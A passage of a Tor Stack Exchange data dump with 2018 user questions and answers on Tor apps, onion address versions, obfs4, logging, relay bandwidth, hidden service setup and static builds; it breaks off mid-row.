  <row Id="17106" PostTypeId="2" ParentId="17103" CreationDate="2018-05-03T14:45:03.730" Score="1" Body="&lt;p&gt;There is no official Tor app that is developed by or maintained by the Tor Project. If you trust the Tor Project, that&#xA;does not necessarily mean you should trust arbitrary Tor apps you find in the iOS store. Maybe they work.&#xA;Maybe they are safe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said, recently the Tor Project has &lt;a href=&quot;https://blog.torproject.org/blog/tor-heart-onion-browser-and-more-ios-tor&quot; rel=&quot;nofollow noreferrer&quot;&gt;endorsed Onion Browser&lt;/a&gt;, which is available on the App Store &lt;a href=&quot;https://itunes.apple.com/us/app/onion-browser/id519296448?mt=8&amp;amp;at=10l9R4&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="20069" LastActivityDate="2018-05-03T14:45:03.730" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17109" PostTypeId="2" ParentId="15680" CreationDate="2018-05-03T19:34:24.333" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;Right click Tor Browser Icon&lt;/li&gt;&#xA;&lt;li&gt;Click Properties&lt;/li&gt;&#xA;&lt;li&gt;Top of Windows Click Compatibility tab&lt;/li&gt;&#xA;&lt;li&gt;Click On Run compatibility troubleshooter.&#xA;Wait a few seconds, your problem will be automaticaly fixed and you can work again with tor browser.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="21910" LastEditorDisplayName="user6671" LastEditDate="2018-06-14T14:24:39.400" LastActivityDate="2018-06-14T14:24:39.400" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17113" PostTypeId="1" CreationDate="2018-05-04T21:40:31.680" Score="0" ViewCount="109" Body="&lt;p&gt;Most of us know of Tor V2 addresses (16 characters) and Tor V3 addresses (56 characters).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What about Tor V1 addresses?&lt;br&gt;&#xA;What was its specification or why wasn't it used much or at all?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Clearnet:   https://www.whonix.org/&#xA;V1 Address: ???&#xA;V2 Address: http://kkkkkkkkkk63ava6.onion&#xA;V3 Address: http://dds6qkxpwdeubwucdiaord2xgbbeyds25rbsgr73tbfpqpt4a6vjwsyd.onion&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="21057" LastActivityDate="2020-04-27T03:02:40.213" Title="Missing History" Tags="|onion-services|anonymity|security|protocol|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17115" PostTypeId="1" CreationDate="2018-05-05T00:45:25.647" Score="1" ViewCount="2545" Body="&lt;p&gt;First of all, I am already having a working setup of tor as a systemd service that uses obfs4, and using it as proxy by my applications like chrome and firefox, so this is not a question how to make tor work for me but rather how obfs4 works. I am in Egypt and could not initially make tor work since obviously the government is using some kind of advanced DPI that I couldn't even make my own openvpn server on 443/tcp port. All commercial vpns are blocked too. Tor itself cannot work unless with obfs3/obfs4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is how obfs4 making my traffic look like it's not tor traffic? I want to know because I fear that if my traffic looks very suspicious, it's better for me to return to direct communication since I don't use tor for any illegal stuff anyway (just unblocking some important domains like medium.com and watching porn lmao). Does the traffic is analyzed as if it was some HTTPS connection or what exactly?&lt;/p&gt;&#xA;" OwnerUserId="21921" LastActivityDate="2022-02-04T00:08:00.713" Title="How does obfs4 work?" Tags="|obfsproxy|obfs4|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17118" PostTypeId="1" CreationDate="2018-05-05T13:35:44.970" Score="1" ViewCount="145" Body="&lt;p&gt;From &lt;a href=&quot;https://stem.torproject.org/api/control.html#stem.control.Controller.get_info&quot; rel=&quot;nofollow noreferrer&quot;&gt;stem documentation&lt;/a&gt;, the syntax of &lt;code&gt;get_info&lt;/code&gt; is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_info(params, default = UNDEFINED, get_bytes = False)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where can I find a list of possible GETINFO parameters&#xA; &lt;code&gt;params&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="21931" LastEditorUserId="21931" LastEditDate="2018-05-05T14:04:55.370" LastActivityDate="2018-05-05T14:04:55.370" Title="What are the parameter of get_info in stem" Tags="|stem|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17121" PostTypeId="1" AcceptedAnswerId="17769" CreationDate="2018-05-05T23:15:05.510" Score="1" ViewCount="55" Body="&lt;p&gt;Is it possible to rekey a connection between a Tor client and a relay? By rekey I mean perform the usual x25519 key exchange to change the session key on the fly, without tearing the circuit down.&lt;/p&gt;&#xA;" OwnerUserId="21937" LastActivityDate="2018-09-15T06:50:21.827" Title="Rekeying a Tor circuit" Tags="|security|protocol|encryption|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17122" PostTypeId="1" AcceptedAnswerId="17127" CreationDate="2018-05-06T15:25:25.530" Score="0" ViewCount="4532" Body="&lt;p&gt;I've just upgraded Ubuntu and Tor has also been upgraded, as I use the package officially provided by the OS maintainers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did certain changes to the &lt;code&gt;torrc&lt;/code&gt; file, namely I decided to run a bridge exit relay. Then I restarted Tor and wanted to check if it was working normally. I used to do this by either checking the &lt;code&gt;/var/log/tor/log&lt;/code&gt; file or by checking my IP at &lt;a href=&quot;https://torstatus.blutmagie.de/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://torstatus.blutmagie.de/&lt;/a&gt;. But now I learned that Tor seems to have dropped logging several months ago, since I have no log files older than October, 25th, 2017, when I, probably, upgraded to Ubuntu 17.10.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I searched for occurrences of the &quot;log&quot; word in the default &lt;code&gt;torrc&lt;/code&gt; file, and found mentions that now Tor outputs logs to STDERR and STDOUT and one can uncomment necessary lines in the block:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;## Logs go to stdout at level &quot;notice&quot; unless redirected by something&#xA;## else, like one of the below lines. You can have as many Log lines as&#xA;## you want.&#xA;##&#xA;## We advise using &quot;notice&quot; in most cases, since anything more verbose&#xA;## may provide sensitive information to an attacker who obtains the logs.&#xA;##&#xA;## Send all messages of level 'notice' or higher to /var/log/tor/notices.log&#xA;#Log notice file /var/log/tor/notices.log&#xA;## Send every possible message to /var/log/tor/debug.log&#xA;#Log debug file /var/log/tor/debug.log&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I included those lines in an included file, so in the &lt;code&gt;/etc/tor/torrc&lt;/code&gt; I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;%include /etc/torrc.custom&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And in the &lt;code&gt;/etc/torrc.custom&lt;/code&gt; I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;## Send all messages of level 'notice' or higher to /var/log/tor/notices.log&#xA;#Log notice file /var/log/tor/notices.log&#xA;## Send every possible message to /var/log/tor/debug.log&#xA;Log debug file /var/log/tor/debug.log&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I still don't see any log files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anyone help me with this? How can I find the log files or how can I check my bridge relay works normally?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="5022" LastActivityDate="2018-05-07T13:32:09.737" Title="Why can't I find Tor's logs or how do I check Tor works normally?" Tags="|configuration|bridge|log|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="17126" PostTypeId="1" CreationDate="2018-05-06T22:13:25.060" Score="2" ViewCount="504" Body="&lt;p&gt;my relay (&lt;a href=&quot;https://metrics.torproject.org/rs.html#details/FA371BD2B25519D65B956BB732938E28BB4FE809&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://metrics.torproject.org/rs.html#details/FA371BD2B25519D65B956BB732938E28BB4FE809&lt;/a&gt;) has a traffic rate of 500kbits and some very short peaks to 3mb. But why only 500kbits? I have enough resources and my node is older than 2 months and a guard! &#xA;Is this normal? Pleas help me.&lt;img src=&quot;https://i.stack.imgur.com/jJZyO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some details:&#xA;Ram 1,5 GB 4Gb available.&#xA;Average Traffic 300-500kbits&#xA;CPU 8-10%&#xA;&lt;a href=&quot;https://i.stack.imgur.com/RWbhr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RWbhr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="21943" LastEditorUserId="88" LastEditDate="2018-06-14T14:30:27.210" LastActivityDate="2018-06-14T14:30:27.210" Title="Why my Tor relay server only use 10-15% of my bandwidth?" Tags="|relays|help|server|node|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17127" PostTypeId="2" ParentId="17122" CreationDate="2018-05-07T13:32:09.737" Score="1" Body="&lt;p&gt;Debug level logging is disabled as it would contain information that could be dangerous to keep around. If your bridge had serious problems that prevented it from working, these would be available in the standard logging setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easiest way to tell that your bridge is working (if it is not a private bridge) is to check &lt;a href=&quot;http://metrics.torproject.org/rs.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Relay Search&lt;/a&gt;. You will not be able to search for your bridge by IP address, as the IP address of your bridge is secret! The idea for bridges is that the IP addresses are not known to everyone, so they can't all be blocked at once like relays. Instead, you can search for your bridge using the hashed fingerprint. This prevents leaking the fingerprint of the bridge when searching. You can find this in the hashed-fingerprint file in the Tor data directory. On Debian (and probably Ubuntu) systems, this is in /var/lib/tor but may be in another location on your system. The location is specified as DataDirectory in your torrc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more advice on monitoring and keeping your relay up to date, see the new &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/TorRelayGuide&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Relay Guide&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="21947" LastActivityDate="2018-05-07T13:32:09.737" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17128" PostTypeId="2" ParentId="17126" CreationDate="2018-05-07T13:50:52.190" Score="2" Body="&lt;p&gt;Thanks for running a relay. (:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clients choose which relays to use based on their consensus weight. The consensus weight is assigned by the directory authorities after measuring the throughput for your relay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a number of things that can impact the speed at which your relay can be used, including the CPU speed, CPU architecture, the network interface and the network environment around you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may be that you are just unlucky and the bandwidth authorities have a poor connection to you, while you may have a really good connection to other sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bandwidth authorities will also group you with similarly rated relays when they perform the measurement, this means that your maximum measured speed is limited by the slowest relay in the group. You may have had a poor measurement when first measured, and are now limited by the group you've been placed in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wouldn't worry about the speed too much. I see currently it's 3.17MiB/s (which is 25.36Mbps), which is a very respectable speed for a relay.&lt;/p&gt;&#xA;" OwnerUserId="21947" LastActivityDate="2018-05-07T13:50:52.190" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17130" PostTypeId="2" ParentId="17113" CreationDate="2018-05-07T14:55:07.873" Score="1" Body="&lt;p&gt;It would seem that the v1 Rendezvous Specification was only ever partially implemented. tor could understand and accept v1 descriptors at one point, but never generated them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There was however a v0 Rendezvous Specification that used a binary descriptor format. That format was deprecated in tor 0.2.2.1-alpha. From what I can tell from &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/rend-spec-v2.txt#n401&quot; rel=&quot;nofollow noreferrer&quot;&gt;the specification document&lt;/a&gt;, the addresses for v0, v1 and v2 onion services all looked alike.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also be interested to know that before .onion addresses existed, there were &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/address-spec.txt#n18&quot; rel=&quot;nofollow noreferrer&quot;&gt;.exit addresses&lt;/a&gt; that could be used to access a service via a particular exit relay. This meant that an exit relay could host a service that wasn't on the public Internet and could only be accessed via Tor. There were a number of issues with this approach however and it was disabled in tor 0.2.2.1-alpha.&lt;/p&gt;&#xA;" OwnerUserId="21947" LastActivityDate="2018-05-07T14:55:07.873" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17134" PostTypeId="1" CreationDate="2018-05-09T10:31:05.737" Score="0" ViewCount="1282" Body="&lt;p&gt;Every time I try to start Tor I get the following response. What to do?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;5/9/2018 12:15:14 PM.000 [NOTICE] You configured a non-loopback address '172.30.1.1:3128' for SocksPort. This allows everybody on your local network to use your machine as a proxy. Make sure this is what you wanted. &#xA;5/9/2018 12:15:14 PM.000 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;5/9/2018 12:15:14 PM.000 [NOTICE] Switching to guard context &quot;bridges&quot; (was using &quot;default&quot;) &#xA;5/9/2018 12:15:14 PM.000 [NOTICE] You configured a non-loopback address '172.30.1.1:3128' for SocksPort. This allows everybody on your local network to use your machine as a proxy. Make sure this is what you wanted. &#xA;5/9/2018 12:15:14 PM.000 [NOTICE] Opening Socks listener on 172.30.1.1:3128 &#xA;5/9/2018 12:15:14 PM.000 [WARN] Could not bind to 172.30.1.1:3128: Cannot assign requested address [WSAEADDRNOTAVAIL ] &#xA;5/9/2018 12:15:14 PM.000 [WARN] Controller gave us config lines that didn't validate: Failed to bind one of the listener ports. &#xA;5/9/2018 12:15:28 PM.300 [NOTICE] You configured a non-loopback address '172.30.1.1:3128' for SocksPort. This allows everybody on your local network to use your machine as a proxy. Make sure this is what you wanted. &#xA;5/9/2018 12:15:28 PM.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;5/9/2018 12:15:33 PM.500 [NOTICE] You configured a non-loopback address '172.30.1.1:3128' for SocksPort. This allows everybody on your local network to use your machine as a proxy. Make sure this is what you wanted. &#xA;5/9/2018 12:15:33 PM.500 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;5/9/2018 12:15:33 PM.500 [NOTICE] You configured a non-loopback address '172.30.1.1:3128' for SocksPort. This allows everybody on your local network to use your machine as a proxy. Make sure this is what you wanted. &#xA;5/9/2018 12:15:33 PM.500 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;5/9/2018 12:15:33 PM.500 [NOTICE] You configured a non-loopback address '172.30.1.1:3128' for SocksPort. This allows everybody on your local network to use your machine as a proxy. Make sure this is what you wanted. &#xA;5/9/2018 12:15:33 PM.500 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;5/9/2018 12:15:33 PM.500 [NOTICE] You configured a non-loopback address '172.30.1.1:3128' for SocksPort. This allows everybody on your local network to use your machine as a proxy. Make sure this is what you wanted. &#xA;5/9/2018 12:15:33 PM.500 [NOTICE] Opening Socks listener on 172.30.1.1:3128 &#xA;5/9/2018 12:15:33 PM.500 [WARN] Could not bind to 172.30.1.1:3128: Cannot assign requested address [WSAEADDRNOTAVAIL ] &#xA;5/9/2018 12:15:33 PM.500 [WARN] Controller gave us config lines that didn't validate: Failed to bind one of the listener ports. &#xA;5/9/2018 12:15:45 PM.500 [NOTICE] You configured a non-loopback address '172.30.1.1:3128' for SocksPort. This allows everybody on your local network to use your machine as a proxy. Make sure this is what you wanted. &#xA;5/9/2018 12:15:45 PM.500 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;5/9/2018 12:15:45 PM.500 [NOTICE] Switching to guard context &quot;default&quot; (was using &quot;bridges&quot;) &#xA;5/9/2018 12:15:45 PM.500 [NOTICE] You configured a non-loopback address '172.30.1.1:3128' for SocksPort. This allows everybody on your local network to use your machine as a proxy. Make sure this is what you wanted. &#xA;5/9/2018 12:15:45 PM.500 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;5/9/2018 12:15:45 PM.500 [NOTICE] You configured a non-loopback address '172.30.1.1:3128' for SocksPort. This allows everybody on your local network to use your machine as a proxy. Make sure this is what you wanted. &#xA;5/9/2018 12:15:45 PM.500 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;5/9/2018 12:15:45 PM.500 [NOTICE] You configured a non-loopback address '172.30.1.1:3128' for SocksPort. This allows everybody on your local network to use your machine as a proxy. Make sure this is what you wanted. &#xA;5/9/2018 12:15:45 PM.500 [NOTICE] Opening Socks listener on 172.30.1.1:3128 &#xA;5/9/2018 12:15:45 PM.500 [WARN] Could not bind to 172.30.1.1:3128: Cannot assign requested address [WSAEADDRNOTAVAIL ] &#xA;5/9/2018 12:15:45 PM.500 [WARN] Controller gave us config lines that didn't validate: Failed to bind one of the listener ports. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="21955" LastEditorDisplayName="user6671" LastEditDate="2019-02-10T18:54:19.763" LastActivityDate="2019-06-10T19:02:10.220" Title="Every time I try to start Tor I get &quot;You configured a non-loopback address ... for SocksPort&quot;" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17135" PostTypeId="2" ParentId="17134" CreationDate="2018-05-09T17:42:32.243" Score="1" Body="&lt;p&gt;Read the text you posted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;[WARN] Could not bind to 172.30.1.1:3128: Cannot assign requested address [WSAEADDRNOTAVAIL ]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, 3128 is not a common socks5 port. It is, however, a common HTTP proxy port. So if your intention is to use Tor's SocksPort as an HTTP Proxy, you're not going to have a good time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, are you sure 172.30.1.1 is even the IP address of the computer you're running Tor on? Because that's the most likely reason for getting that error.&lt;/p&gt;&#xA;" OwnerUserId="20069" LastActivityDate="2018-05-09T17:42:32.243" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17140" PostTypeId="1" CreationDate="2018-05-11T08:58:43.010" Score="3" ViewCount="2324" Body="&lt;p&gt;&lt;strong&gt;What&lt;/strong&gt; is the actual cause of this error ?&#xA;I know how to solve so dont need that but just want to know &lt;strong&gt;why&lt;/strong&gt; that error occur.&#xA;If we run it on root what can be the &lt;strong&gt;problems faced&lt;/strong&gt; ?&#xA;Also &lt;strong&gt;What&lt;/strong&gt; to do if we want to run Tor &lt;em&gt;Safely&lt;/em&gt; ? like without making changes in code.&lt;/p&gt;&#xA;" OwnerUserId="21973" LastEditorUserId="31632" LastEditDate="2021-05-25T20:41:55.810" LastActivityDate="2021-05-25T20:41:55.810" Title="Why Tor Browser Bundle should not be run as root?" Tags="|tor-browser-bundle|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17151" PostTypeId="1" CreationDate="2018-05-15T08:29:51.023" Score="1" ViewCount="452" Body="&lt;p&gt;I'm pretty confused by this. Took a little learning on my desktop but it was a completely different issue. I just got my Pi 3 setup, installed tor (&lt;code&gt;sudo apt-get install tor&lt;/code&gt;) as well as everything tor-like given as packages. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wanted to be able to SSH into my Pi and remotely administer some of my home computers. I thought this would be simple. I placed the following into my &lt;code&gt;torrc&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /var/lib/tor/hidden_service/ssh/&#xA;HiddenServicePort 22 127.0.0.1:22&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So in my logs I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;&amp;lt;date&amp;gt;&amp;gt; [warn] Error creating directory /var/lib/tor/hidden_service/ssh/: No such file or directory&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So if I create these I get the same log entry. After &lt;code&gt;sudo chown -R debian-tor:debian-tor /var/lib/tor/hidden_service&lt;/code&gt; I get the same entry. The permissions are &lt;code&gt;drwxr-sr-x&lt;/code&gt; on the &lt;code&gt;hidden_service&lt;/code&gt; directory. This was a problem before on my desktop (permissions to lax). I removed the sticky bit... no change... I changed permissions to &lt;code&gt;drwx------&lt;/code&gt; ... at that point tor seemed to not even work. No logs, no nothing. (Not sure if the missing log file was due to &lt;code&gt;AvoidDiskWrites 1&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure how to address this.&lt;/p&gt;&#xA;" OwnerUserId="12078" LastActivityDate="2018-10-08T03:00:08.760" Title="SSH Tor Hidden Service on Pi3 - Cannot create hidden service directory" Tags="|configuration|onion-services|raspbian|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17159" PostTypeId="1" CreationDate="2018-05-16T16:28:19.393" Score="0" ViewCount="201" Body="&lt;p&gt;I've just receive an e-mail in my Gmail saying&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Google 2-Step Verification blocked a sign in attempt to your account.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It also states that&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If it wasn’t you, then someone else knows your password, and you&#xA;  should secure your account now.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There is also some information of the attempt:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Windows &#xA;  Wednesday, May 16, 2018 5:50 PM (France Time)&#xA;  Paris, France&#xA;  Firefox&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I had logged in in my Gmail account around that time through Tor Browser. Immediately, I checked the circuit I was using and there was a node from France, but it was a &lt;strong&gt;middle node&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it OK to get that alert?&#xA;Is it possible the way Tor connects a user to his Google account triggers those kind of alerts?&#xA;Should I be worried about a middle node turning rogue?&lt;/p&gt;&#xA;" OwnerUserId="22027" LastActivityDate="2018-08-14T18:04:19.003" Title="Is it OK to get an alert from Gmail while browsing through Tor Browser?" Tags="|tor-browser-bundle|google|middle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17161" PostTypeId="2" ParentId="17159" CreationDate="2018-05-16T16:59:03.737" Score="1" Body="&lt;p&gt;It's impossible for the middle to know you were visiting GMail. It didn't go rouge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's likely Google uses a different GeoIP database than Tor Browser. When Google saw an exit that's allegedly in France, Tor Browser might be thinking the exit is allegedly in Germany. Just as an example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It was you that triggered the alert because you're coming from the spooky scary terrible Tor network. There's nothing to worry about.&lt;/p&gt;&#xA;" OwnerUserId="20069" LastActivityDate="2018-05-16T16:59:03.737" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17165" PostTypeId="1" CreationDate="2018-05-17T15:40:14.807" Score="0" ViewCount="92" Body="&lt;p&gt;I had previously built a static Tor lib on tag 0.3.3.1-alpha in MinGW previously with the following configure:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;LIBS=-lcrypt32 ./configure --prefix=$PWD/dist \&#xA;                            --disable-gcc-hardening \&#xA;                            --enable-static-tor \&#xA;                            --enable-static-libevent \&#xA;                            --with-libevent-dir=$PWD/../libevent/dist \&#xA;                            --enable-static-openssl \&#xA;                            --with-openssl-dir=$PWD/../openssl/dist \&#xA;                            --enable-static-zlib \&#xA;                            --with-zlib-dir=$PWD/../openssl/dist \&#xA;                            --disable-system-torrc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This of course assumes I have statically built all those deps which I have. Now on tag 0.3.3.5-rc, I can successfully build using the same command. But when I try to link with my program, I get all sorts of errors like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;c:/my/path/tor-static/tor/src/or/libtor.a(main.o): In function `shutdown_did_not_work_callback':&#xA;C:\my\path\tor-static\tor/src/or/main.c:742: undefined reference to `tor_fix_source_file'&#xA;C:\my\path\tor-static\tor/src/or/main.c:742: undefined reference to `tor_assertion_failed_'&#xA;c:/my/path/tor-static/tor/src/or/libtor.a(main.o): In function `directory_all_unreachable_cb':&#xA;C:\my\path\tor-static\tor/src/or/main.c:1073: undefined reference to `log_fn_'&#xA;C:\my\path\tor-static\tor/src/or/main.c:1078: undefined reference to `tor_fix_source_file'&#xA;c:/my/path/tor-static/tor/src/or/libtor.a(main.o): In function `TO_ENTRY_CONN':&#xA;C:\my\path\tor-static\tor/src/or/or.h:1964: undefined reference to `tor_fix_source_file'&#xA;C:\my\path\tor-static\tor/src/or/or.h:1964: undefined reference to `tor_assertion_failed_'&#xA;c:/my/path/tor-static/tor/src/or/libtor.a(main.o): In function `check_fw_helper_app_callback':&#xA;C:\my\path\tor-static\tor/src/or/main.c:2202: undefined reference to `tor_check_port_forwarding'&#xA;C:\my\path\tor-static\tor/src/or/main.c:2207: undefined reference to `smartlist_free_'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is when including (along with the deps) &lt;code&gt;ext/ed25519/ref10/libed25519_ref10.a&lt;/code&gt;, &lt;code&gt;ext/ed25519/donna/libed25519_donna.a&lt;/code&gt;, &lt;code&gt;trunnel/libor-trunnel.a&lt;/code&gt;, &lt;code&gt;ext/keccak-tiny/libkeccak-tiny.a&lt;/code&gt;, &lt;code&gt;common/libcurve25519_donna.a&lt;/code&gt;, &lt;code&gt;common/libor.a&lt;/code&gt;, &lt;code&gt;common/libor-crypto.a&lt;/code&gt;, &lt;code&gt;common/libor-ctime.a&lt;/code&gt;, &lt;code&gt;common/libor-event.a&lt;/code&gt;, and &lt;code&gt;or/libtor.a&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What library am I not including? Or is this a bug?&lt;/p&gt;&#xA;" OwnerUserId="22033" LastActivityDate="2022-03-28T03:02:50.350" Title="Failure During Static Link of Version 0.3.3.5-rc" Tags="|windows|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17167" PostTypeId="2" ParentId="17165" CreationDate="2018-05-17T18:35:20.607" Score="0" Body="&lt;p&gt;First MinGW has a current bug which can be solved, as mentioned &lt;a href=&quot;https://github.com/rust-lang/rust/issues/47048#issuecomment-362892587&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;, by downgrading some libs using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pacman -U /var/cache/pacman/pkg/mingw-w64-x86_64-crt-git-5.0.0.4745.d2384c2-1-any.pkg.tar.xz&#xA;pacman -U /var/cache/pacman/pkg/mingw-w64-x86_64-headers-git-5.0.0.4747.0f8f626-1-any.pkg.tar.xz&#xA;pacman -U /var/cache/pacman/pkg/mingw-w64-x86_64-winpthreads-git-5.0.0.4741.2c8939a-1-any.pkg.tar.xz /var/cache/pacman/pkg/mingw-w64-x86_64-libwinpthread-git-5.0.0.4741.2c8939a-1-any.pkg.tar.xz&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You have to recompile everything once those have been fixed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, I had my libs in a bad order. Assuming `%TOR_STATIC% is set as the base dir w/ tor and other deps beneath, here are a set of LDFLAGS, one per line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-L%TOR_STATIC%/tor/src/or -ltor&#xA;-L%TOR_STATIC%/tor/src/common -lor -lor-crypto -lcurve25519_donna -lor-ctime -lor-event&#xA;-L%TOR_STATIC%/tor/src/trunnel -lor-trunnel&#xA;-L%TOR_STATIC%/tor/src/ext/keccak-tiny -lkeccak-tiny&#xA;-L%TOR_STATIC%/tor/src/ext/ed25519/ref10 -led25519_ref10&#xA;-L%TOR_STATIC%/tor/src/ext/ed25519/donna -led25519_donna&#xA;-L%TOR_STATIC%/libevent/dist/lib -levent&#xA;-L%TOR_STATIC%/xz/dist/lib -llzma&#xA;-L%TOR_STATIC%/zlib/dist/lib -lz&#xA;-L%TOR_STATIC%/openssl/dist/lib -lssl -lcrypto&#xA;-lws2_32 -lcrypt32 -lgdi32&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Those flags will link in Tor statically to the exe.&lt;/p&gt;&#xA;" OwnerUserId="22033" 